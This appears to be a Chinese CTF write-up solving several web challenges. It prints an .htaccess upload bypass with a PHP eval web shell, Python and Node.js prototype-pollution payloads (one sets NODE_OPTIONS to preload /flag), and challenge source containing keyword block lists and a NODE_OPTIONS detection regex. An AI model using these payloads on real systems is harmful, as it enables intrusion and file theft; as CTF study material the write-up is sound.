WEB

only real

在登录界面源码中找到账号密码登录

image-20260328214755288

进去后发现上传按钮是灰的,尝试将源码中disabled删除后上传什么回显也没有,换个思路去访问了upload.phpuploads/,发现前者是“上传成功”,后者是“forbidden”,说明有这个文件和目录,所以直接换成upload.php上传,但是直接上传1.php失败,检测非法类型,.htaccess绕过即可

<FilesMatch "1.png" >
SetHandler application/x-httpd-php
</FilesMatch>
#1.png
<?php eval($_POST[123]);?>

然后访问/uploads/1.png蚁剑连接成功,在上级目录找到flag

image-20260328222126908

xmctf{xm_xxe_blind_success}

ez_python

from flask import Flask, request
import json

app = Flask(__name__)

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class Config:
def __init__(self):
self.filename = "app.py"

class Polaris:
def __init__(self):
self.config = Config()

instance = Polaris()

@app.route('/', methods=['GET', 'POST'])
def index():
if request.data:
merge(json.loads(request.data), instance)
return "Welcome to Polaris CTF"

@app.route('/read')
def read():
return open(instance.config.filename).read()

@app.route('/src')
def src():
return open(__file__).read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)

看到源码中的merge函数就知道是个原型链污染

然后直接污染filename即可

{"config":{"filename":"/flag"}}

/路由json传参后访问/read即可读取/flag

image-20260328222743900

XMCTF{7eb87629-c5bc-4f3b-a838-428eb91dd9d4}

ezpollute

const express = require('express');
const { spawn } = require('child_process');
const path = require('path');

const app = express();
app.use(express.json());
app.use(express.static(__dirname));

function merge(target, source, res) {
for (let key in source) {
if (key === '__proto__') {
if (res) {
res.send('get out!');
return;
}
continue;
}

if (source[key] instanceof Object && key in target) {
merge(target[key], source[key], res);
} else {
target[key] = source[key];
}
}
}

let config = {
name: "CTF-Guest",
theme: "default"
};

app.post('/api/config', (req, res) => {
let userConfig = req.body;

const forbidden = ['shell', 'env', 'exports', 'main', 'module', 'request', 'init', 'handle','environ','argv0','cmdline'];
const bodyStr = JSON.stringify(userConfig).toLowerCase();
for (let word of forbidden) {
if (bodyStr.includes(`"${word}"`)) {
return res.status(403).json({ error: `Forbidden keyword detected: ${word}` });
}
}

try {
merge(config, userConfig, res);
res.json({ status: "success", msg: "Configuration updated successfully." });
} catch (e) {
res.status(500).json({ status: "error", message: "Internal Server Error" });
}
});

app.get('/api/status', (req, res) => {

const customEnv = Object.create(null);
for (let key in process.env) {
if (key === 'NODE_OPTIONS') {
const value = process.env[key] || "";

const dangerousPattern = /(?:^|\s)--(require|import|loader|openssl|icu|inspect)\b/i;

if (!dangerousPattern.test(value)) {
customEnv[key] = value;
}
continue;
}
customEnv[key] = process.env[key];
}

const proc = spawn('node', ['-e', 'console.log("System Check: Node.js is running.")'], {
env: customEnv,
shell: false
});

let output = '';
proc.stdout.on('data', (data) => { output += data; });
proc.stderr.on('data', (data) => { output += data; });

proc.on('close', (code) => {
res.json({
status: "checked",
info: output.trim() || "No output from system check."
});
});
});

app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'index.html'));
});

// Flag 位于 /flag
app.listen(3000, '0.0.0.0', () => {
console.log('Server running on port 3000');
});

看到源码中merge依旧是个原型链污染,但是是js

首先通过/api/config路由污染原型链,添加NODE_OPTIONS,在/api/status由于process.env中本来没有NODE_OPTIONS,所以就会读取污染后的Object.prototype.NODE_OPTIONS的值,最后通过spawn创建子进程,node.js进程启动时会自动读取并解析NODE_OPTIONS这个变量值并作为命令参数执行

#/api/config POST:
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}

然后访问/api/status即可获得flag

image-20260328230719571

XMCTF{3b4ce14d-9b0b-4b32-9d75-314992131edc}

1Broken Trust

尝试过斜体字,大小写,全半角未果

AutoPypy

#app.py
import os
import sys
import subprocess
from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')

if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)


@app.route('/')
def index():
return render_template("index.html")

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return 'No file part', 400

file = request.files['file']
filename = request.form.get('filename') or file.filename

save_path = os.path.join(UPLOAD_FOLDER, filename)

save_dir = os.path.dirname(save_path)
if not os.path.exists(save_dir):
try:
os.makedirs(save_dir)
except OSError:
pass

try:
file.save(save_path)
return f'成功上传至: {save_path}'
except Exception as e:
return f'上传失败: {str(e)}', 500

@app.route('/run', methods=['POST'])
def run_code():
data = request.get_json()
filename = data.get('filename')

target_file = os.path.join('/app/uploads', filename)

launcher_path = os.path.join(BASE_DIR, 'launcher.py')

try:
proc = subprocess.run(
[sys.executable, launcher_path, target_file],
capture_output=True,
text=True,
timeout=5,
cwd=BASE_DIR
)
return jsonify({"output": proc.stdout + proc.stderr})
except subprocess.TimeoutExpired:
return jsonify({"output": "Timeout"})

if __name__ == '__main__':
import site
print(f"[*] Server started.")
print(f"[*] Upload Folder: {UPLOAD_FOLDER}")
print(f"[*] Target site-packages (Try to reach here): {site.getsitepackages()[0]}")
app.run(host='0.0.0.0', port=5000)
#launcher.py
import subprocess
import sys

def run_sandbox(script_name):
print("Launching sandbox...")
cmd = [
'proot',
'-r', './jail_root',
'-b', '/bin',
'-b', '/usr',
'-b', '/lib',
'-b', '/lib64',
'-b', '/etc/alternatives',
'-b', '/dev/null',
'-b', '/dev/zero',
'-b', '/dev/urandom',
'-b', f'{script_name}:/app/run.py',
'-w', '/app',
'python3', 'run.py'
]
subprocess.call(cmd)
print("ok")

if __name__ == "__main__":
script = sys.argv[1]
run_sandbox(script)

可以看到,这里能够实现上传文件后执行该文件,然后尝试直接执行flag文件,让报错带出flag(虽然感觉是非预期)

image-20260330000906628

xmctf{699f4568de00f2df35f98005567398d3}

1DXT

题目要求上传一个.dxt文件,首先了解一下.dxt文件是什么,参考Desktop Extensions (DXT) 详解_dxt文件-CSDN博客Desktop Extensions (DXT) - 知乎

简单来说就是一个包含本地MCP服务器信息的压缩包,其中比较重要的就是manifest.json这个文件

npm install -g @anthropic-ai/dxt
在包含您的本地 MCP 服务器的文件夹中,运行 dxt init。此命令将指导您创建 manifest.json。
运行 dxt pack 来创建一个 dxt 文件。
现在,任何实现 DXT 支持的应用程序都可以运行您的本地 MCP 服务器。例如,使用 Claude for macOS and Windows 打开该文件会显示一个安装对话框。